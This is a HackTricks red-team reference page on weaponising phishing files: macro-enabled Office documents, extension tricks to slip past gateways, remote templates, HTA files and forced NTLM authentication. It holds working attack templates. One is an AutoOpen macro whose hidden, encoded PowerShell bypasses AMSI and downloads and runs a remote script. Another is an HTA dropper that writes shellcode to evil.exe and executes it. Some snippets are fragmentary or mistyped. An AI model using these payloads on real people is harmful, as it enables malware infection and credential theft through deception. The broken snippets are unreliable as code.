Phishing Files & Documents - HackTricks

# Phishing Files & Documents

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Office Documents

Microsoft Word performs file data validation before opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.

Usually, Word files containing macros use the `.docm` extension. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.
For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.
The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.).

You can use the following command to check which extensions are going to be executed by some Office programs:

    assoc | findstr /i "word excel powerp"

DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.

### External Image Load

Go to: Insert --> Quick Parts --> Field
Categories: Links and References, Filed names: includePicture, and Filename or URL: http://<ip>/whatever

### Macros Backdoor

It's possible to use macros to run arbitrary code from the document.

#### Autoload functions

The more common they are, the more probable the AV will detect them.

- AutoOpen()
- Document_Open()

#### Macros Code Examples

    Sub AutoOpen()
        CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
    End Sub

    Sub AutoOpen()

      Dim Shell As Object
      Set Shell = CreateObject("wscript.shell")
      Shell.Run "calc"

    End Sub

    Dim author As String
    author = oWB.BuiltinDocumentProperties("Author")
    With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
     .StdIn.WriteLine author
     .StdIn.WriteBlackLines 1

    Dim proc As Object
    Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    proc.Create "powershell <beacon line generated>

#### Manually remove metadata

Fo to File > Info > Inspect Document > Inspect Document, which will bring up the Document Inspector. Click Inspect and then Remove All next to Document Properties and Personal Information.

#### Doc Extension

When finished, select Save as type dropdown, change the format from `.docx` to Word 97-2003 `.doc`.
Do this because you can't save macro's inside a `.docx` and there's a stigma around the macro-enabled `.docm` extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this legacy `.doc` extension is the best compromise.

#### Malicious Macros Generators

- MacOS
  - macphish
  - Mythic Macro Generator

## HTA Files

An HTA is a Windows program that combines HTML and scripting languages (such as VBScript and JScript). It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.

An HTA is executed using `mshta.exe`, which is typically installed along with Internet Explorer, making `mshta` dependant on IE. So if it has been uninstalled, HTAs will be unable to execute.

    <--! Basic HTA Execution -->
    <html>
      <head>
        <title>Hello World</title>
      </head>
      <body>
        <h2>Hello World</h2>
        <p>This is an HTA...</p>
      </body>

      <script language="VBScript">
        Function Pwn()
          Set shell = CreateObject("wscript.Shell")
          shell.run "calc"
        End Function

        Pwn
      </script>
    </html>

    <--! Cobal Strike generated HTA without shellcode -->
    <script language="VBScript">
      Function var_func()
      	var_shellcode = "<shellcode>"

      	Dim var_obj
      	Set var_obj = CreateObject("Scripting.FileSystemObject")
      	Dim var_stream
      	Dim var_tempdir
      	Dim var_tempexe
      	Dim var_basedir
      	Set var_tempdir = var_obj.GetSpecialFolder(2)
      	var_basedir = var_tempdir & "\" & var_obj.GetTempName()
      	var_obj.CreateFolder(var_basedir)
      	var_tempexe = var_basedir & "\" & "evil.exe"
      	Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
      	For i = 1 to Len(var_shellcode) Step 2
      	    var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
      	Next
      	var_stream.Close
      	Dim var_shell
      	Set var_shell = CreateObject("Wscript.Shell")
      	var_shell.run var_tempexe, 0, true
      	var_obj.DeleteFile(var_tempexe)
      	var_obj.DeleteFolder(var_basedir)
      End Function

      var_func
      self.close
    </script>

## Forcing NTLM Authentication

There are several ways to force NTLM authentication "remotely", for example, you could add invisible images to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the address of files that will trigger an authentication just for opening the folder.

Check these ideas and more in the following pages:

Force NTLM Privileged Authentication

Places to steal NTLM creds

### NTLM Relay

Don't forget that you cannot only steal the hash or the authentication but also perform NTLM relay attacks:

- NTLM Relay attacks
- AD CS ESC8 (NTLM relay to certificates)

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.